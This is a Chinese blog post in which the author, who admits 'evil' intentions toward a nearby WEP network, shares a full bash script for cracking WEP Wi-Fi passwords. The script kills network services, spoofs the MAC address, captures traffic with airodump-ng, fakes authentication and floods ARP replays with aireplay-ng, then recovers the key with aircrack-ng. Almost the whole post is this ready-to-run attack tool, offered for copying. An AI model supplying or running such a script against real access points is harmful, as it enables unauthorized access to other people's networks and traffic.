当前位置: 首页 >> 技术探讨 >> 正文contribute

破解wifi密码利器Aircrack-ng

破解wifi密码Aircrack-ng
这段时间回家,发现家里正好有WIFI信号,而且还是WEP加密,顿时产生的邪恶的想法。用的本身是DEBIAN系统,所以操作起来非常方便,当然咯,如果是WPA加密,那就复杂很多咯!成功率应该也不高。
破解wifi密码利器
项目主页是:http://sourceforge.net/projects/aircrackwep/

大家可以去这儿下载脚本直接执行,或者复制我这儿的代码,建立一个SH文件

#!/bin/bash

echo “###############################################”
echo “# This script is used to crack WEP password #”
echo “# of Wi-Fi Access Points. #”
echo “# Depends on: aircrack-ng #”
echo “# macchanger #”
echo “# PS. If you don’t need to change your MAC #”
echo “# address, macchanger is not essential. #”
echo “# Version: 1.1 #”
echo “# Homepage: #”
echo “# https://sourceforge.net/projects/aircrackwep#”
echo “# By: Chen Zhidong #”
echo “# From: NanJing University of Technology #”
echo “# Email: njutczd@gmail.com #”
echo “###############################################”
echo “”

#Killing processes that could cause trouble first
echo -e “Killing processes that could cause trouble…\n”
sudo killall NetworkManager
sudo killall NetworkManagerDispatcher
sudo killall wpa_supplicant
sudo killall avahi-daemon
echo “”

#making a dir to store crack files
if [ -d ./Aircrack-Output ]; then
echo > /dev/null
else
mkdir “Aircrack-Output”
fi
cd “Aircrack-Output”

#choose your interface and start airmon-ng
read -p “Enter the interface you want to use: ” interface
sudo airmon-ng start $interface
clear

#MAC setting
true=`macchanger -s wlan0 | sed ‘s/Current\ MAC: //’ | sed ‘s/(.*)//’`
read -p “Your true MAC address of $interface is $true, do you want to change it?(y/N)” macset
satisfy=”n”
wifi=”n”
until [ $wifi = y ];do
case $macset in
( y|Y )until [ $satisfy = y ]; do
#choose random or not
clear
read -p “Do you want a random MAC address?(Y/n)” random
case $random in
( n|N )clear
echo “Since you want to set MAC address by pointed, please provide a MAC address:”
read hmac
echo “Setting the MAC address to $hmac…”
sudo ifconfig $interface down
sudo macchanger -m $hmac $interface
sudo ifconfig $interface up
;;
*)echo “Setting random MAC address…”
sudo ifconfig $interface down
sudo macchanger -r $interface
sudo ifconfig $interface up
;;
esac
#whether satisfy
clear
echo “$interface is in `sudo macchanger -s wlan0`”
read -p “Do you like the address above?(y/N)” satisfy
case $satisfy in
( y|Y )satisfy=”y”
hmac=`macchanger -s wlan0 | sed ‘s/Current\ MAC: //’ | sed ‘s/(.*)//’`
sudo ifconfig mon0 down
sudo macchanger -m $hmac mon0
sudo ifconfig mon0 up
;;
*)satisfy=”n”
;;
esac
done
;;
*)echo “You are using true MAC address $true in $interface.”
hmac=`macchanger -s wlan0 | sed ‘s/Current\ MAC: //’ | sed ‘s/(.*)//’`
;;
esac

#confirm the MAC address setting
clear
echo -e “Wi-Fi Card Setting:\n\tInterface:\t\t$interface\n\tInterface’s MAC:\t$hmac\n\nIs this correct?(Y/n)”
read wifi
case $wifi in
( n|N )wifi=”n”
;;
*)wifi=”y”
;;
esac
done

#Starting airodump-ng for you to choose an access point
clear
echo “Starting airodump-ng for you to choose an access point…”
sudo xterm -hold -e “airodump-ng mon0″ &

#AP(Access Point) setting
verifyap=”n”
until [ $verifyap = y ];do
clear
echo “Enter the BSSID of the access point:”
read bssid
echo “Enter the CHANNEL of the access point:”
read channel

#confirm the and AP setting
clear
echo -e “Access Point Setting:\n\tBSSID:\t\t$bssid\n\tChannel:\t$channel\n\nIs this correct?(Y/n)”
read verifyap
case $verifyap in
( n|N )verifyap=”n”
;;
*)verifyap=”y”
;;
esac
done

#sudo airmon-ng stop mon0
#sudo airmon-ng start $interface $channel

#start airodump-ng
clear
echo “Starting airodump-ng…”
sudo xterm -hold -e “airodump-ng -c $channel –bssid $bssid -w output mon0″ &

#fake authenticate
echo “Trying to fake authenticate…”
status=”n”
until [ $status = y ];do
#clear
sudo aireplay-ng -1 0 -a $bssid -h $hmac mon0
read -p “Sometimes fake authenticate may fail. Did you successfully faked authenticate?(Y/n)” status
case $status in
( n|N )status=”n”
;;
*)status=”y”
;;
esac
done

#start requesting arp request
clear
echo “Trying to start requesting arp request…”
sudo xterm -hold -e “aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b $bssid -h $hmac mon0″ &

#start cracking when data got to more than 5000
read -p “Press Enter to run aircrack-ng…” aircrack
clear
sudo aircrack-ng output*.cap

#final step: kill processes and set default
echo “Now we’ve got some cleanning work…”
sudo killall xterm
sudo airmon-ng stop mon0
sudo ifconfig $interface down
sudo macchanger -m $true $interface
sudo ifconfig $interface up
sudo NetworkManeger

read -p “Do you want to delete crack files?(y/N)” del
if [ $del = y -o $del = Y ]; then
echo “Deleting…”
cd ..
sudo rm -r “Aircrack-Output”
fi
clear
echo -e “Done! \nFor more information, visit homepage of this project in SourceForge:\n\thttps://sourceforge.net/projects/aircrackwep/”

exit 0
#End

破解wifi密码Aircrack-ng

Popularity: 2%

    相关文章推荐

发表评论